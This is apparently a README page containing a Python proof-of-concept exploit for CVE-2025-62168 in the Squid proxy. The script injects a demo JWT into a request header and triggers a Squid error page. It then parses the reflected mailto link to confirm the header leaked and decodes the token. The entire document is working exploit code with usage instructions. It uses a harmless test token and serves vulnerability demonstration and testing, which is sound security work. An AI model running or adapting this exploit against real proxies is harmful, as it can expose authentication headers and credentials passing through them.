README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# krakhen.dev
# version 1.2.8
# CVE-2025-62168
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import aiohttp
import asyncio
import argparse
import json
import sys
from bs4 import BeautifulSoup
# ============================
# COLORS
# ============================
RED = "\033[31m"
GREEN = "\033[32m"
YELLOW = "\033[33m"
CYAN = "\033[36m"
RESET = "\033[0m"
def green(x): return GREEN + x + RESET
def red(x): return RED + x + RESET
def cyan(x): return CYAN + x + RESET
def yellow(x): return YELLOW + x + RESET
# ============================
# TEST TOKEN (demo only)
# ============================
JWT_TOKEN = (
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
"ewogICJzdWIiOiAiMTIzNDU2Nzg5MCIsCiAgIm5hbWUiOiAia3Jha2hlbi5kZXYiLAog"
"ICJhZG1pbiI6IHRydWUsCiAgImlhdCI6IDE1MTYyMzkwMjIKfQo."
"LspWRdaIXcXllUuABCsYXRqBoKseG5vlb_YIW259aiU"
)
INJECTED_HEADER = {"X-Test-Leak": JWT_TOKEN}
UA = "krakhen.dev-cve-2025-62168-poc"
# ============================
# HTTP REQUEST → triggers Squid error page
# ============================
async def fetch_error_page(proxy, verbose):
target_url = "http://nonexistent.krakhen-test.local/"
if verbose:
print(cyan("\n[DEBUG] Preparing request..."))
print(cyan(f"[DEBUG] Proxy: {proxy}"))
print(cyan(f"[DEBUG] Target URL: {target_url}"))
print(cyan(f"[DEBUG] Injected header: X-Test-Leak: {JWT_TOKEN}"))
print(cyan(f"[DEBUG] User-Agent: {UA}"))
print()
async with aiohttp.ClientSession(
proxy=proxy,
headers={
"User-Agent": UA,
**INJECTED_HEADER
}
) as session:
try:
async with session.get(target_url, ssl=False) as resp:
html = await resp.text()
if verbose:
print(cyan("[DEBUG] Response headers:"))
for k, v in resp.headers.items():
print(cyan(f" {k}: {v}"))
print()
return html
except Exception as e:
print(red(f"[ERROR] Proxy request failed: {e}"))
return ""
# ============================
# Parse mailto block from Squid error page
# ============================
def parse_mailto(html):
soup = BeautifulSoup(html, "html.parser")
tag = soup.find("a", href=lambda x: x and x.startswith("mailto:"))
if not tag:
return ""
return tag["href"]
# ============================
# Extract leaked token from mailto
# ============================
def extract_token(mailto):
# Decode the most relevant parts of the mailto body
decoded = (
mailto
.replace("%0D%0A", "\n")
.replace("%3A", ": ")
.replace("%20", " ")
)
for line in decoded.split("\n"):
if "X-Test-Leak" in line:
return line.split("X-Test-Leak: ")[1].strip()
return None
# ============================
# JWT Decoder (no signature validation)
# ============================
def decode_jwt(token):
head, payload, sig = token.split(".")
import base64
def fix_padding(x: str) -> str:
return x + "=" * ((4 - len(x) % 4) % 4)
h_json = json.loads(base64.urlsafe_b64decode(fix_padding(head)))
p_json = json.loads(base64.urlsafe_b64decode(fix_padding(payload)))
return h_json, p_json, sig
# ============================
# Main logic (visual + verbose)
# ============================
async def run(proxy, verbose):
print(green("------------------------------------------------------------"))
print(green(" STEP 1 — Connecting to proxy..."))
print(green("------------------------------------------------------------"))
print(f" Proxy: {proxy}")
print(green("\n------------------------------------------------------------"))
print(green(" STEP 2 — Sending request with injected token..."))
print(green("------------------------------------------------------------"))
print(yellow(f" Injected Header: X-Test-Leak: {yellow(JWT_TOKEN[:40] + '...')}"))
html = await fetch_error_page(proxy, verbose)
print(green("\n------------------------------------------------------------"))
print(green(" STEP 3 — Server responded, extracting error page..."))
print(green("------------------------------------------------------------"))
print(green("\n------------------------------------------------------------"))
print(green(" STEP 4 — Parsing mailto block from Squid error page..."))
print(green("------------------------------------------------------------"))
# parser
mailto_raw = parse_mailto(html) # return string
# token color inside mailto
if JWT_TOKEN in mailto_raw:
mailto_highlight = mailto_raw.replace(JWT_TOKEN, yellow(JWT_TOKEN))
else:
mailto_highlight = mailto_raw
print(mailto_highlight)
# extract real token from mailto_raw
leaked_token = extract_token(mailto_raw)
print(green("\n------------------------------------------------------------"))
print(green(" STEP 5 — TOKEN LEAK CONFIRMED"))
print(green("------------------------------------------------------------"))
print(red(f" {leaked_token}\n"))
print(green("------------------------------------------------------------"))
print(green(" STEP 6 — Decoding JWT token..."))
print(green("------------------------------------------------------------"))
h, p, s = decode_jwt(leaked_token)
print(cyan("Header:"))
print(json.dumps(h, indent=4))
print()
print(cyan("Payload:"))
print(json.dumps(p, indent=4))
print()
print(cyan("Signature:"))
print(s)
print()
if verbose:
print(cyan("\n---------------- RAW HTML (DEBUG) ----------------"))
print(html)
print(cyan("--------------------------------------------------"))
print(green("\n------------------------------------------------------------"))
print(green(" DONE — PoC completed successfully."))
print(green("------------------------------------------------------------"))
# ============================
# CLI
# ============================
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="PoC for CVE-2025-62168 — Squid Proxy token leak via error page header reflection.",
epilog="Example:\n python3 cve-2025-62168.py --proxy http://127.0.0.1:3128 --verbose",
formatter_class=argparse.RawTextHelpFormatter
)
parser.add_argument(
"--proxy",
required=False,
help="Proxy URL (e.g. http://127.0.0.1:3128)"
)
parser.add_argument(
"--verbose",
action="store_true",
help="Enable technical debug output"
)
args = parser.parse_args()
# If no arguments were provided → show help and exit gracefully
if not args.proxy:
parser.print_help()
print("\n[!] Missing required argument: --proxy\n")
sys.exit(1)
asyncio.run(run(args.proxy, args.verbose))